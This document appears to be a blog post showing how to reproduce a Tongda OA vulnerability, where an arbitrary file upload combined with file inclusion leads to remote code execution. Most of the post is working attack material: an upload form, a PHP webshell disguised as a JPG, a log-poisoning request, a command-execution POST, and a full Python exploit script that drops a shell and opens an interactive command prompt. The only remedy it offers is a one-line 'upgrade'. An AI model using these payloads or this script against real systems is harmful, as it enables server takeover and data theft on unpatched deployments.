0x00 vulnerability description
There is a login bypass (arbitrary file upload vulnerability) in ispirit/im/upload.php, combined with the file inclusion vulnerability in gateway.php, which eventually leads to getshell, or directly use the log file to write the shell, and then combine the file to include the vulnerability getshell
0x01 Vulnerability Affected Version
- Tongda OA V11 version <= 11.3 20200103
- Tongda OA 2017 version <= 10.19 20190522
- Tongda OA 2016 version <= 9.13 20170710
- Tongda OA 2015 version <= 8.15 20160722
- Tongda OA 2013 enhanced version <= 7.25 20141211
- Tongda OA 2013 version <= 6.20 20141017
Note: Some versions of gateway.php have different paths
Such as 2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017:
/ispirit/im/upload.php
/mac/gateway.php
The v11 version path used in this article is
/ispirit/im/upload.php
/ispirit/interface/gateway.php
0x02 Vulnerability recurrence
1. Download Tongda OA 11.2, https://cdndown.tongda2000.com/oa/2019/TDOA11.2.exe, click to install
2. Access any file upload vulnerability path/ispirit/im/upload.php
3. Construct the upload interface, the content of the action is the target address
<html>
<body>
<form action="http://192.168.77.135/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
4. Make a picture horse
<?php
//保存为jpg
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
5. Open the created upload file in the browser and upload the picture horse
6. Click "Submit Query", use burp to capture the package, you can see the successful upload
7. 2009 is the folder name, 1301311124|test.jpg is the file name, change | to a dot, request the corresponding version of gateway.php, modify the path file of the corresponding version, and the path and file name of the corresponding image upload. Add Content-Type: application/x-www-form-urlencoded to the header
8. Do not use arbitrary file upload vulnerabilities, including log file getshell
GET /<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;?> HTTP/1.1
Host: 192.168.77.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=fb2sahetm8tsjn65i0kramf506; KEY_RANDOMDATA=2025
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
9. Check the log file oa.error.log and find that it was successfully written
10. Construct a data package, find that it contains a log file and execute the command successfully
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.77.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=fb2sahetm8tsjn65i0kramf506; KEY_RANDOMDATA=7203
DNT: 1
Connection: close
Content-Length: 66
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=net user
11. Use the tool to download https://github.com/fuhei/tongda_rce , #Note that you need to modify the folder in the script. If you run the script without modifying it, you will be prompted that there is no vulnerability (because the folder name is incorrect)
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File : tongda_rce.py
@Time : 2020/03/18 11:59:48
@Author : fuhei
@Version : 1.0
@Blog : http://www.lovei.org
'''
import requests
import re
import sys
def check(url):
try:
url1 = url + '/ispirit/im/upload.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
result = requests.post(url1, headers=headers, data=data)
name = "".join(re.findall("2009_(.+?)\|",result.text))
url2 = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
result = requests.post(url2, headers=headers, data=data)
if result.status_code == 200 and 'fffhhh' in result.text:
# print("[+] Remote code execution vulnerability exists at the target address")
return name
else:
return False
except:
pass
def command(url, name,command="whoami"):
url = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
while(1):
command = input("fuhei@shell$ ")
if command == 'exit' or command == 'quit':
break
else:
data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
print(result.text)
if __name__ == '__main__':
url = sys.argv[1]
name = check(url)
if name:
print("[+] Remote code execution vulnerability exists at the target address")
command(url,name)
else:
print("[-] There is no remote code execution vulnerability in the target address")
12. Run the script
0x03 repair suggestion
upgraded version
Please indicate: Adminxe's Blog » Tongda OA Any file upload + file inclusion leads to RCE